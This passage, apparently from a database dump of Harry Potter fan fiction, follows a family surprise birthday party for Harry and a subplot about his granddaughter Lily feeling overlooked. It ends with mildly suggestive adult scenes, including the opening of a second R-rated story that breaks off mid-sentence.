before I send the monsters up.&#8221; </p>\n\n<p>&#8220;Go away,&#8221; Colin said rudely, pushing away the covers as his older sister left the room. </p>\n\n<p>Caitlyn grinned as she leaned against the wall outside his room. &#8220;He loves his big sister,&#8221; she said to no one before skipping down the stairs. As she crossed past the living room she saw her husband and youngest daughter spill out of the fireplace.</p>\n\n<p>&#8220;About time you two got here!&#8221; Caitlyn laughed and staggered back as red haired Helena threw herself at her mother. &#8220;What on earth are you wearing?&#8221;</p>\n\n<p>&#8220;My Chudley Cannons clothes!&#8221; Four year old Helena was the bouncy, energetic member of their family. While she was loud and spunky, Lily, aged six, was quiet and pensive most of the time. </p>\n\n<p>When Lily had been born, Blue and Caitlyn decided to name her after Harry&#8217;s long deceased mother. Helena actually looked more like her great grandmother, even though both girls had Caitlyn&#8217;s bright green eyes. </p>\n\n<p>&#8220;Why are you wearing those?&#8221; Caitlyn picked her baby up, kissing the young girl&#8217;s forehead. &#8220;Love you know Daddy and his team aren&#8217;t playing today.&#8221;</p>\n\n<p>&#8220;Because I&#8217;m going to the game Mummy and I wanted to wear my Quidditch clothes!&#8221; Helena bounced in her mother&#8217;s arms. &#8220;Can I please? Daddy said I had to ask you!&#8221;</p>\n\n<p>Caitlyn looked at Blue, who grinned sheepishly. &#8220;She found out we were going and made me help her change&#8230;&#8221; he said.</p>\n\n<p>&#8220;I <i>suppose</i> you can go,&#8221; Caitlyn nuzzled Helena&#8217;s nose. &#8220;But first you need to go see Papa and tell him happy birthday!&#8221;</p>\n\n<p>&#8220;Okay!&#8221; Helena squealed and Caitlyn put her down to run out of the room. She looked at Blue who grinned at her again. </p>\n\n<p>&#8220;Where&#8217;s Lily?&#8221; he asked, pulling his wife into his arms. </p>\n\n<p>&#8220;In the kitchen with my mum,&#8221; Caitlyn answered.</p>\n\n<p>&#8220;Good,&#8221; Blue leaned down and kissed her hard. &#8220;Didn&#8217;t get a chance to do that earlier this morning.&#8221;</p>\n\n<p>&#8220;Mmm I know&#8230;&#8221; Caitlyn let her head fall back so he could kiss her neck. &#8220;We&#8217;d better not stay in here much longer or they&#8217;ll start searching for us.&#8221;</p>\n\n<p>Blue pulled away from his wife with a groan. &#8220;All right, but we&#8217;re picking back up where we left off later on.&#8221;</p>\n\n<p>&#8220;That&#8217;s fine with me,&#8221; Caitlyn gave him one last kiss. They went back into the kitchen and Caitlyn slipped into a chair beside Lily who was drinking a glass of pumpkin juice. </p>\n\n<p>&#8220;Hey look who I found running around!&#8221; Harry announced, coming into the room with a giggling Helena in his arms. </p>\n\n<p>&#8220;Happy Birthday!&#8221; a resounding chorus echoed in the kitchen as Colin, Carl and Corinne joined the rest of them. </p>\n\n<p>&#8220;Dad&#8217;s an old man now,&#8221; Colin cracked, grabbing a banana from the middle of the table.</p>\n\n<p>&#8220;Yeah, yeah,&#8221; Harry replied. He set Helena down and kissed his other grandchild on the head. &#8220;How are you Lily?&#8221;</p>\n\n<p>&#8220;Good, Papa,&#8221; Lily answered shyly. &#8220;Happy Birthday,&#8221;</p>\n\n<p>&#8220;Thanks love,&#8221; Harry smiled fondly at his mother&#8217;s namesake. </p>\n\n<p>&#8220;HARRY!&#8221; a loud voice boomed. &#8220;Happy Birthday!&#8221; Ron Weasley grinned at his best friend of many, many years now. </p>\n\n<p>&#8220;Ron!&#8221; Harry exclaimed. &#8220;Hey, thanks!&#8221; he said when Ron handed him a rather lumpy package.</p>\n\n<p>&#8220;It&#8217;s from Mum,&#8221; Ron replied. &#8220;I didn&#8217;t get you anything.&#8221;</p>\n\n<p>&#8220;Thanks,&#8221; Harry said, now sarcastic but he was still grinning. The package contained several homemade goodies from Molly Weasley.</p>\n\n<p>&#8220;But we DO have a surprise for you,&#8221; Ron said grandly, ignoring Hermione&#8217;s dropped jaw. &#8220;Blue?&#8221;</p>\n\n<p>Blue stood up and pulled some strips of parchment out of his pockets. &#8220;I think maybe we have some tickets for today&#8217;s Quidditch game of Puddlemere against the Magpies.&#8221;</p>\n\n<p>Harry was the one with the dropped jaw now. &#8220;WHAT?!&#8221; he cried. </p>\n\n<p>Hermione gave Ron a look, realising his plan to get Harry out of the house.</p>\n\n<p>&#8220;Tickets for us guys to see the game,&#8221; Blue said handing them over to his father in law. &#8220;While you girls sit and do whatever it is you do&#8230;&#8221; he grinned at his wife who elbowed him sharply in the stomach.</p>\n\n<p>&#8220;I want to go!&#8221; Helena shrieked, jumping up and down in her Cannons gear. </p>\n\n<p>Lily rolled her eyes at her younger sister&#8217;s exuberant screams as her father looked at her. &#8220;You want to go too love?&#8221; he asked.</p>\n\n<p>&#8220;No,&#8221; Lily shook her head and looked down at her bag.</p>\n\n<p>Blue&#8217;s eyes met Caitlyn&#8217;s and he shrugged. &#8220;All right, you have fun here with the rest of the girls. He mussed his eldest daughter&#8217;s hair before scooping Helena up. &#8220;Everyone ready?&#8221;</p>\n\n<p>&#8220;I sure am,&#8221; Harry replied. Corinne smiled at her twin as he and Colin got up.</p>\n\n<p>&#8220;Have fun, catch me a snitch,&#8221; she said and Carl glared at her.</p>\n\n<p>&#8220;That&#8217;s not funny!&#8221; he was sensitive about his inability to be a Seeker like his father. Corinne only giggled as the men left.</p>\n\n<p>&#8220;You love to tease him don&#8217;t you?&#8221; Caitlyn commented. Corinne, shy as a child, had blossomed into a talkative almost - teenager.</p>\n\n<p>&#8220;Of course, it&#8217;s my duty as a twin,&#8221; Corinne sipped at the tea her mother put in front of her and smiled at her niece. &#8220;Hey Lils.&#8221;</p>\n\n<p>&#8220;Hi,&#8221; Lily said shyly. She admired her young aunt; her long black curly hair, her cheerfulness and the fact she was nice to everyone. </p>\n\n<p>&#8220;What&#8217;s new?&#8221; Corinne leaned back in her chair as he sister and mother began to get party supplies out of a cabinet. </p>\n\n<p>&#8220;Nothing,&#8221; Lily replied. &#8220;I wrote a story to show Grandma.&#8221;</p>\n\n<p>&#8220;Can I see it?&#8221; Corinne asked. Lily pulled a sheaf of papers out of her bag and handed them over. &#8220;Come on, let&#8217;s go in the living room while they start setting up.&#8221; She put her arm over Lily&#8217;s shoulders and guided her out.</p>\n\n<p>&#8220;How&#8217;s she doing in primary school?&#8221; Hermione asked.</p>\n\n<p>&#8220;Fine,&#8221; Caitlyn replied. &#8220;She loves writing and reading&#8230; even maths.&#8221; She made a face and she and Hermione both laughed.</p>\n\n<p>&#8220;It&#8217;s become a family trait,&#8221; Hermione smiled. &#8220;Come on, Lavender should be here soon.&#8221;</p>\n\n<p>&#8220;Where&#8217;s Grace?&#8221; Caitlyn asked.</p>\n\n<p>Hermione raised an eyebrow. &#8220;On yet another vacation with Justin, probably making even more children than they already have.&#8221;</p>\n\n<p>Caitlyn laughed. The brood of Finch Fletchley children was quite large, and it seemed to grow even larger with every vacation Grace and Justin took alone. &#8220;What&#8217;s going on with Colin and Katrina?&#8221;</p>\n\n<p>Hermione grinned. &#8220;It seems to be getting serious.&#8221; She said. &#8220;She&#8217;s really a lovely girl.&#8221;</p>\n\n<p>&#8220;She is,&#8221; Caitlyn agreed. She liked her brother&#8217;s blonde haired, blue eyed American girlfriend. She was a Muggle but now knew about Colin&#8217;s wizarding abilities and fit in well with the family.</p>\n\n<p>&#8220;Well&#8230; Harry of course thought Colin was too young to settle, but he really isn&#8217;t settled, you know?&#8221; Hermione shook out one end of a tablecloth and Caitlyn helped her spread it over the dining room table. &#8220;I mean, they&#8217;re not getting married or anything but I think Colin&#8217;s in love.&#8221;</p>\n\n<p>Caitlyn smiled. &#8220;That&#8217;s really sweet. I should tell her what a prat he really is.&#8221;</p>\n\n<p>Hermione laughed. &#8220;I&#8217;m sure she knows at this point. But Harry was the same way when you and Blue got together&#8230;&#8221;</p>\n\n<p>&#8220;Tell me about it.&#8221; Caitlyn pulled the tablecloth smooth. &#8220;I mean, we couldn&#8217;t even tell him at first about living together.&#8221;</p>\n\n<p>&#8220;But he wasn&#8217;t angry about it,&#8221; Hermione reminded her.</p>\n\n<p>&#8220;Yes&#8230; but there was a whole other situation that was far more important.&#8221; Caitlyn replied. She leaned in closer to her mother. &#8220;Do either of them remember anything?&#8221;</p>\n\n<p>&#8220;I don&#8217;t think so,&#8221; Hermione said thoughtfully. &#8220;The first few weeks, Harry and I would wake up with one or both of them in bed with us. But after about a month neither one of them said a word about it. And we were careful about shielding them from any media.&#8221;</p>\n\n<p>&#8220;Hello!&#8221; a voice broke through their discussion. Lavender had come, her arms full of party favours.</p>\n\n<p>&#8220;Hi!&#8221; Caitlyn greeted her mother in law with a hug. &#8220;How are you?&#8221;</p>\n\n<p>&#8220;Good love, just great.&#8221; Lavender dumped her goods on the table. &#8220;Hi Hermione.&#8221;</p>\n\n<p>&#8220;Hi Lav,&#8221; Hermione answered. &#8220;Good timing, the men and Helena just left.&#8221;</p>\n\n<p>&#8220;I know, I purposely waited until they were gone.&#8221; Lavender looked around. &#8220;Where&#8217;s Lily?&#8221;</p>\n\n<p>&#8220;With Corinne in the living room,&#8221; Caitlyn replied. &#8220;She wrote a story she wants to show you,&#8221; she spoke to her mother.</p>\n\n<p>&#8220;I&#8217;ll go see her once we&#8217;re finished setting things up,&#8221; Hermione smiled. </p>\n\n<p>Caitlyn brushed her long hair over her shoulder as she helped her mother hang up a sparkling banner. &#8220;Do you think Dad will like a surprise party?&#8221;</p>\n\n<p>&#8220;Hopefully,&#8221; Hermione tied the end of the banner up. &#8220;I tried to give him his birthday present from me this morning but&#8212;&#8220;</p>\n\n<p>&#8220;Don&#8217;t tell me any more!&#8221; Caitlyn held up her hand. &#8220;That&#8217;s disgusting and you know it.&#8221;</p>\n\n<p>&#8220;Love, it&#8217;s no different than you and Blue,&#8221; Hermione smiled maddeningly then laughed. &#8220;I&#8217;m just teasing you Caty.&#8221;</p>\n\n<p>Caitlyn shook her head. &#8220;One more word about <i>that</i> and you&#8217;ll be doing party preparations on your own.&#8221;</p>\n\n<p>&#8220;Fine, fine,&#8221; Hermione was still amused. Lavender finished setting the magically expanded table in the dining room as Corinne and Lily came back into the kitchen.</p>\n\n<p>&#8220;Mum you&#8217;ve got to read this,&#8221; Corinne held out Lily&#8217;s story while the young girl blushed profusely. </p>\n\n<p>&#8220;I promise I will once we get these decorations up,&#8221; Hermione said to her granddaughter as she set the pages on the counter. &#8220;Lav, did you get those favours I asked you to?&#8221;</p>\n\n<p>Corinne and Caitlyn went after her so none of them saw the crestfallen look on Lily&#8217;s face. She turned and went into the hallway and into the closet. She got down on all fours and crawled behind the long heavy cloaks into the corner, pulling her legs up as several fat tears rolled down her cheeks.</p>\n\n<p>***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; One Hour Later&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p>&#8220;Hey, has anyone seen Lily?&#8221; Caitlyn was growing worried. She hadn&#8217;t seen her daughter around the house in quite some time.</p>\n\n<p>&#8220;She was in the kitchen with us,&#8221; Corinne said. &#8220;I thought she&#8217;d just gone upstairs or something.&#8221;</p>\n\n<p>&#8220;No, I checked up there.&#8221; Caitlyn looked out the window at the pouring rain. &#8220;I don&#8217;t think she&#8217;d go outside in this weather either.&#8221;</p>\n\n<p>Hermione joined them. &#8220;Did you find Lily?&#8221; </p>\n\n<p>&#8220;No,&#8221; Caitlyn shook her head. &#8220;And I&#8217;ve checked all over the place&#8230;&#8221; </p>\n\n<p>&#8220;Well let&#8217;s look around again,&#8221; Hermione said. &#8220;Lavender went to see if she&#8217;d gone over to their house, Corinne, you take the top floor, I&#8217;ll check the second, and Caty you look around down here some more.&#8221;</p>\n\n<p>Caitlyn nodded and her mother and sister went upstairs. She began checking behind the sofas and her father&#8217;s piano, then in the kitchen and in the hallway. Caitlyn opened the closet door and pushed aside some cloaks.</p>\n\n<p>&#8220;Lily!&#8221; she said in relief. Her daughter looked up at her and Caitlyn was shocked to see tearstains streaked over her face. &#8220;What&#8217;s wrong love?&#8221; she crouched down so they were eye to eye.</p>\n\n<p>Lily shook her head. &#8220;No one missed me for a long time,&#8221; she said, looking at her knees.</p>\n\n<p>&#8220;What?&#8221; Caitlyn was confused. &#8220;Come on out here,&#8221; she pulled her daughter out of the closet and into the living room. &#8220;Sit down here and tell me what&#8217;s wrong.&#8221;</p>\n\n<p>Lily shrugged. &#8220;I was gone in there for a long time and no one missed me. And no one but Corinne wants to read my story I wrote.&#8221; She fought back a new onslaught of tears. </p>\n\n<p>&#8220;Love, of course we missed you&#8230; I&#8217;ve been looking for you since half past eleven, and I was terribly worried when I could find you. I never thought you&#8217;d be hiding behind the cloaks.&#8221; Caitlyn brushed her daughter&#8217;s hair behind her ear. &#8220;What else is bothering you?&#8221;</p>\n\n<p>&#8220;Everyone loves Helena and not me!&#8221; Lily burst out. &#8220;Daddy took her to the game but not me. He always plays Quidditch with her, and you always help her with her homework.&#8221; </p>\n\n<p>Caitlyn was silent; she felt a heavy weight settle in the pit of her stomach. She&#8217;d had no idea her daughter felt this way. &#8220;Come here,&#8221; she said, pulling Lily into her arms. She stroked the bushy locks and held her daughter tightly. &#8220;If you don&#8217;t feel loved then your father and I aren&#8217;t doing something right,&#8221; she finally said. </p>\n\n<p>Lily didn&#8217;t say anything but she felt a bit better as her mother hugged her. &#8220;Lily, love&#8230; Daddy and I love you very, very much.&#8221;</p>\n\n<p>&#8220;You do?&#8221; Lily asked.</p>\n\n<p>&#8220;More than anything else in the world,&#8221; Caitlyn said firmly. She pulled away and wiped away the tearstains. &#8220;Want me to tell you a little story?&#8221;</p>\n\n<p>&#8220;Okay,&#8221; Lily nodded.</p>\n\n<p>&#8220;When Daddy and I were about to have you, all he could talk about was how he wanted a little boy. When we went to the hospital and you came out, the first thing he told me was that we had a daughter. </p>\n\n<p>&#8220;I asked him if he was disappointed and he held you out to me- the mediwizards had put you in a little pink blanket. &#8216;<i>Never,</i>&#8217; he said. <i>&#8216;Look at her, she&#8217;s beautiful&#8230; we have an absolutely gorgeous daughter.</i>&#8217;</p>\n\n<p>&#8220;We had to stay in the hospital overnight, and he stayed in the room with us the entire time. He could barely take his eyes off you&#8230; neither could I for that matter.</p>\n\n<p>&#8220;You&#8217;re our special girl, our <i>first</i> little girl.&#8221; Caitlyn smoothed back Lily&#8217;s hair again. &#8220;Nothing on this earth, nothing <i>ever</i>, could make Daddy or I stop loving you.&#8221;</p>\n\n<p>Lily sniffed, trying hard not to cry again. &#8220;Really?&#8221; she managed in a small voice. </p>\n\n<p>&#8220;Really,&#8221; Caitlyn smiled as she hugged her daughter again. Lily clung back as hard as she could. &#8220;Feeling better now?&#8221;</p>\n\n<p>Lily nodded and gave her mother a small smile. &#8220;I love you Mum,&#8221; she said.</p>\n\n<p>&#8220;I love you too,&#8221; Caitlyn hugged her again. &#8220;Now why don&#8217;t you go wash your face and then I know that your grandmother wants to read your story you wrote.&#8221;</p>\n\n<p>&#8220;Okay,&#8221; Lily scrambled off the sofa and went into the loo. Caitlyn went up the stairs and found her mother in her old bedroom.</p>\n\n<p>&#8220;I found her,&#8221; she said.</p>\n\n<p>&#8220;Oh good,&#8221; Hermione was relieved. &#8220;Where was she?&#8221;</p>\n\n<p>&#8220;Hiding in the closet in the hallway,&#8221; Caitlyn sat heavily on her bed. &#8220;Mum&#8230; I&#8217;m doing something wrong.&#8221;</p>\n\n<p>&#8220;What do you mean?&#8221; Hermione sat down next to her.</p>\n\n<p>&#8220;Well Lily seemed to be under the impression that no one loved her,&#8221; Caitlyn felt tears welling up in her eyes. &#8220;I can&#8217;t stand that she thought that&#8230; does it mean I&#8217;ve been neglecting her?&#8221;</p>\n\n<p>Hermione hugged her daughter much like Caitlyn had done for Lily moments earlier. &#8220;You&#8217;ve been busy lately and she&#8217;s at a difficult age&#8230;&#8221;</p>\n\n<p>&#8220;She&#8217;s so sensitive,&#8221; Caitlyn replied. &#8220;But Mum, I feel just awful.&#8221;</p>\n\n<p>&#8220;What did you tell her?&#8221; Hermione asked.</p>\n\n<p>&#8220;I told her she was wrong, that Blue and I love her very much, then I hugged her for a few minutes.&#8221; Caitlyn said. &#8220;I&#8217;m pretty sure she believed me&#8230; but&#8212;&#8220;</p>\n\n<p>&#8220;Then what you did was fine,&#8221; Hermione replied soothingly. &#8220;Your workload is bound to lighten up, and Quidditch season will be over soon, so you and Blue will both be home more often.&#8221;</p>\n\n<p>&#8220;You&#8217;re right,&#8221; Caitlyn said. &#8220;Thanks Mum, I&#8217;m glad I know I can count on you for good advice.&#8221;</p>\n\n<p>&#8220;Well why don&#8217;t you get Corinne- she&#8217;s still rooting around upstairs.&#8221; Hermione said.</p>\n\n<p>&#8220;Lily really wants you to read her story,&#8221; Caitlyn got up. &#8220;It&#8217;s about Dad; she wants to give it to him for a present.&#8221;</p>\n\n<p>&#8220;I&#8217;ll go right now,&#8221; Hermione said and she left. She went downstairs and saw her granddaughter in the living room. &#8220;Hello sweetheart,&#8221; she said.</p>\n\n<p>&#8220;Hi Grandma,&#8221; Lily replied. </p>\n\n<p>&#8220;I&#8217;m sorry I didn&#8217;t get a chance to read your story before this,&#8221; Hermione hugged the little girl to her. &#8220;What&#8217;s it about?&#8221;</p>\n\n<p>&#8220;It&#8217;s about Grandpa when he was a little boy and if he grew up with us how he would have been happy.&#8221; Lily said, handing the pages over to her grandmother.</p>\n\n<p>Hermione read the six page story in silence and at the end; she turned to her granddaughter with tears in her eyes. &#8220;Love&#8230; that&#8217;s the most beautiful story I&#8217;ve ever read,&#8221; she hugged Lily tightly. &#8220;And your grandfather is going to absolutely love it. How about I help you bind it together and wrap it up?&#8221;</p>\n\n<p>&#8220;Okay!&#8221; Lily agreed eagerly. She and her grandmother hurried off to find some paper and heavy thread.</p>\n\n<p>&#8220;There!&#8221; Hermione said an hour later as she helped Lily tie a bright red ribbon around the flat package. &#8220;You can go put it in the dining room with the rest of the gifts if you want.&#8221;</p>\n\n<p>&#8220;All right,&#8221; Lily hugged her grandmother again and scampered out of the room. Caitlyn came in and sat down.</p>\n\n<p>&#8220;Thanks Mum,&#8221; she said.</p>\n\n<p>&#8220;For what?&#8221; Hermione asked, setting the teapot on the stove.</p>\n\n<p>&#8220;For helping Lily with her story&#8230; I nearly cried when I read it,&#8221; Caitlyn smiled. &#8220;She&#8217;s got quite a knack with the quill.&#8221;</p>\n\n<p>&#8220;She does,&#8221; Hermione agreed. &#8220;And I <i>did</i> cry after I read it. And I&#8217;m willing to bet Harry will too.&#8221;</p>\n\n<p>Caitlyn smiled. &#8220;Well I think nearly everything&#8217;s set up. Lavender&#8217;s in the other room finishing with the rest of the decorations, and the guys should all be back soon.&#8221;</p>\n\n<p>&#8220;We have enough time for tea,&#8221; Hermione said, bringing two cups to the table. &#8220;There&#8217;s always enough time for tea.&#8221;</p>\n\n<p>&#8220;Very true Mum, very true.&#8221; Caitlyn said.</p>\n\n<p>***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p>&#8220;What a great game!&#8221; Harry exclaimed. </p>\n\n<p>&#8220;Definitely,&#8221; Blue agreed, holding his daughter on his shoulders. </p>\n\n<p>&#8220;Daddy I like it better when you play!&#8221; Helena shouted. She began to wiggle excitedly and Blue had to take her down.</p>\n\n<p>&#8220;You&#8217;re a silly girl,&#8221; Blue grinned, handing her over to Harry. &#8220;Coming in Cannons clothes&#8230;&#8221; he teased.</p>\n\n<p>&#8220;Hey, I like Chudley Cannons,&#8221; Ron stated, making them all laugh. </p>\n\n<p>&#8220;I remember your bedroom at the Burrow, the first time I came to visit&#8230; it was all orange, Cannons everywhere.&#8221; Harry slung an arm around Blue. &#8220;Who&#8217;d have known your son would be their star player someday?&#8221;</p>\n\n<p>&#8220;I&#8217;m going to play for the Cannons!&#8221; Helena squealed. &#8220;I&#8217;m going to be a Keeper like Daddy!&#8221;</p>\n\n<p>&#8220;Colin can be the seeker,&#8221; Blue grinned.</p>\n\n<p>&#8220;Hey, shut up!&#8221; Colin grumbled. He clutched a replica of a snitch in his hand that he&#8217;d bought before the game started for his sister.</p>\n\n<p>&#8220;Uncle Carl, why don&#8217;t you want to be a seeker?&#8221; Helena looked quizzically at him.</p>\n\n<p>&#8220;Because I&#8217;m awful at it,&#8221; Carl replied. </p>\n\n<p>&#8220;Yeah, he&#8217;s pathetic,&#8221; Colin smirked.</p>\n\n<p>&#8220;I&#8217;m game to helping you practise during the summer holiday if you want,&#8221; Blue offered. &#8220;Perhaps you can make the house team if you work hard at it.&#8221;</p>\n\n<p>&#8220;There you go,&#8221; Harry cuffed his son over the head while Colin snickered.</p>\n\n<p>&#8220;We should get back, I&#8217;m sure the girls are waiting for us,&#8221; Ron looked at his son who nodded.</p>\n\n<p>&#8220;Maybe they&#8217;ll have made something to eat,&#8221; Colin added. &#8220;I&#8217;m bloody starving!&#8221;</p>\n\n<p>&#8220;Aren&#8217;t you going out with Katrina later?&#8221; Carl smirked at his older brother. </p>\n\n<p>&#8220;None of your business,&#8221; Colin pushed him and they began wrestling with each other. </p>\n\n<p>&#8220;Knock it off you two,&#8221; Harry said. </p>\n\n<p>Ron retrieved their portkey from a corner and tapped it with his wand. &#8220;Should be activated in a minute,&#8221; he said.</p>\n\n<p>Harry smiled. &#8220;Thanks you guys&#8230; this was a great birthday so far.&#8221; He tickled Helena and she giggled.</p>\n\n<p>&#8220;No problem,&#8221; Blue grinned conspiratorially at his father. </p>\n\n<p>&#8220;At least our being gone gave all the women a chance to catch up on whatever it is they talk about,&#8221; Harry continued. &#8220;Hermione was never much for gossip and all until she and Lavender became better chums. Then once Caitlyn was old enough to know what they were talking about&#8230;&#8221; Harry shook his head. &#8220;Sounds like a room full of clucking hens.&#8221;</p>\n\n<p>Colin and Carl smirked as everyone placed a hand on the portkey and were whisked away.</p>\n\n<p>***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p>&#8220;Is everything and everyone ready?&#8221; Hermione called frantically from the kitchen.</p>\n\n<p>&#8220;Yes Mum,&#8221; Caitlyn replied. &#8220;In place and ready for Dad!&#8221; she smiled at her daughter, who was sitting next to her great grandmother Molly. Lily had perked up considerably since their talk earlier that day, and was currently clutching the gift wrapped package that Caitlyn knew contained the story her daughter had written.</p>\n\n<p>&#8220;All right,&#8221; Hermione came in the room, looking completely frazzled. Caitlyn guided her to sit on the piano bench. </p>\n\n<p>&#8220;Its fine, everything is fine,&#8221; Caitlyn said. Her father, husband and the others were due back any second now. &#8220;Dad&#8217;s going to be so surprised.&#8221;</p>\n\n<p>&#8220;I hope so,&#8221; Hermione replied. George Weasley made sure there was no light coming from anywhere and then they heard Ron&#8217;s loud voice from outside.</p>\n\n<p>&#8220;Why&#8217;ve they got all the lights off?&#8221; Ron wondered. Blue took Helena as Harry opened the door.</p>\n\n<p>&#8220;Hermione?&#8221; he called, his eyebrows knit together. &#8220;Caty? Anyone home?&#8221;</p>\n\n<p>&#8220;We&#8217;re in here dear,&#8221; Hermione replied sweetly. </p>\n\n<p>&#8220;Why are you all sitting in the dark...&#8221; Harry began but at that moment everyone lit one of the lamps in the room.</p>\n\n<p>&#8220;SURPRISE!!!!&#8221; a mantra of voices shouted and Harry jumped. </p>\n\n<p>&#8220;Bloody hell,&#8221; he gasped. Hermione laughed, clapping her hands together.</p>\n\n<p>&#8220;Happy Birthday dear,&#8221; she leaned in and kissed him gently. </p>\n\n<p>&#8220;Happy Birthday Dad!&#8221; the rest of his kids shouted. </p>\n\n<p>Harry grinned as the rest of the guests began to laugh. He saw Arthur and Molly, the Weasley brood sans Bill and Charlie, who lived quite far away, and Colin&#8217;s girlfriend Katrina was in the corner of the room by Caitlyn. </p>\n\n<p>&#8220;Wow&#8230;&#8221; Harry was astounded. &#8220;When did you all have time to plan this?&#8221;</p>\n\n<p>&#8220;That would be during the Quidditch game,&#8221; Blue replied. </p>\n\n<p>&#8220;We surprised you Papa!&#8221; Helena jumped up and down energetically. </p>\n\n<p>&#8220;You certainly did,&#8221; Harry laughed as did everyone. Everyone started to move and talk after that and Harry approached his wife.</p>\n\n<p>&#8220;Worked like a charm,&#8221; Hermione said slyly. </p>\n\n<p>&#8220;You&#8217;re a sneaky witch,&#8221; Harry replied. &#8220;I like it,&#8221;</p>\n\n<p>&#8220;Good,&#8221; Hermione kissed him.</p>\n\n<p>***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p>&#8220;Hi Papa,&#8221; Lily said shyly. It had been an hour since the party had started and she&#8217;d finally managed to corner her grandfather alone for the first time.</p>\n\n<p>&#8220;Hello love,&#8221; Harry pulled her over to the sofa. &#8220;Have you been having a good time?&#8221;</p>\n\n<p>Lily nodded. &#8220;I have a present for you,&#8221; she handed him the package. &#8220;Grandma helped me sew it together and wrap it.&#8221;</p>\n\n<p>Harry took it and pulled the paper off. He saw a carefully bound, slim book in his hands. Lily bit her lower lip and toyed with her hair as her grandfather read through her story.</p>\n\n<p>Harry had small tears in his eyes as he finished. He took a deep breath and blew it out. &#8220;That was&#8230;&#8221; he shook his head.</p>\n\n<p>Lily felt her stomach drop out beneath her. &#8220;It&#8217;s okay if you didn&#8217;t like it,&#8221; she said softly, looking down at her feet.</p>\n\n<p>&#8220;No!&#8221; Harry sat straight up. &#8220;Lily, sweetheart, that was amazing. You write so well&#8230; it just made me wish I was really in your story.&#8221; He hugged her tightly to him. &#8220;I absolutely love it&#8230; thank you.&#8221; He kissed her forehead.</p>\n\n<p>&#8220;I&#8217;m glad,&#8221; Lily said, still feeling shy. &#8220;Mummy thought I should give it to you so I did.&#8221;</p>\n\n<p>&#8220;Your mum is a smart girl,&#8221; Harry gave her another hug. &#8220;I&#8217;m just going to go put this upstairs so it stays safe.&#8221;</p>\n\n<p>&#8220;Okay,&#8221; Lily kissed his cheek before scampering off to her mother&#8217;s side. </p>\n\n<p>***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Later That Evening&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; ***</p>\n\n<p>Hermione collapsed with a sigh onto the sofa. &#8220;I&#8217;m so tired,&#8221; she moaned.</p>\n\n<p>&#8220;You had a busy day,&#8221; Harry sat next to her.</p>\n\n<p>&#8220;I did,&#8221; Hermione cracked one eye open and smiled at her husband. &#8220;And I completely took you by surprise,&#8221; she laughed as Harry growled playfully.</p>\n\n<p>&#8220;Sneaky witch,&#8221; he murmured affectionately in her ear. </p>\n\n<p>&#8220;I&#8217;m <i>your</i> sneaky witch,&#8221; Hermione nuzzled the skin below Harry&#8217;s ear.</p>\n\n<p>Harry slid his arms around his wife and pulled her on top of him. &#8220;Time to finish what you started this morning Mrs. Potter,&#8221; he said huskily before claiming her mouth.</p>\n\n<p>&#8220;Well them we must recreate the crime,&#8221; Hermione breathed when he finally pulled away. &#8220;Be right back,&#8221; she kissed him again before skipping out of the room. </p>\n\n<p>Harry grinned and moved himself off the sofa and over to his piano bench. Blue and Caitlyn had asked if they could take Carl and Corinne back home with them, and Colin would be out for hours with Katrina.</p>\n\n<p>&#8220;I&#8217;m back,&#8221; a voice throatily drawled from the doorway. Harry turned around to see his wife dressed as she was that morning. </p>\n\n<p>&#8220;Get over here,&#8221; Harry said, his breathing becoming heavier as Hermione glided over the carpet </p>\n\n<p>&#8220;What are you going to do with me, birthday boy?&#8221; Hermione cooed as she sat on the other half of the piano bench and wrapped her legs around his waist. &#8220;Going to unwrap me Potter?&#8221;</p>\n\n<p>&#8220;I think I am,&#8221; Harry pulled the cover over the piano keys and pulled Hermione up on top of them. </p>\n\n<p>&#8220;Oooh&#8230;&#8221; Hermione leaned her head back as Harry attacked her throat, nipping at her skin lightly. </p>\n\n<p>&#8220;Like that did you love&#8230;?&#8221; Harry trailed his lips over hers, pausing to kiss her deeply before moving his hands beneath her negligee. He wasn&#8217;t surprised to feel that she wore nothing underneath.</p>\n\n<p>&#8220;It was more of a challenge this morning,&#8221; Hermione said, her voice low and husky. &#8220;I&#8217;ve been holding it in all day waiting for this.&#8221;</p>\n\n<p>&#8220;I should have known you&#8217;d plan it down to the last detail,&#8221; Harry snickered. </p> '),
	(78, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal">A/N: Well we&#8217;ve\ngone back to what we do best, R rated stories&#8230;*grumbles about no NC 17*\nAnyways, we hope you&#8217;ll enjoy it!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Disclaimer: We\ndon&#8217;t own anything HP related. If we did, we&#8217;d be the rich bitches, sitting in\nsome tropical climate with Colin Farrell and Sean Biggerstaff waiting on us in\nloincloths&#8230;*ahem* sorry&#8230;yeah we don&#8217;t own it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">His lips moved\nover her skin like it was made of silk, every so often stopping in one spot to\nnibble gently on her flesh. She ran her hands through his hair, threading the\nstrands between her slim fingers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, Great\nWizards!!&#8221; her voice came out as a gasp. Her hands moved down from his hair to\nhis chest, where she lightly stroked him. His muscles contracted under her\ntouch, and she noticed his breathing was becoming short and erratic.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do you know what\nyou do to me?&#8221; he whispered in her ear, before gently nibbling on it. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just shut up.&#8221;\nShe commanded, before crushing her mouth to his, their tongues duelling 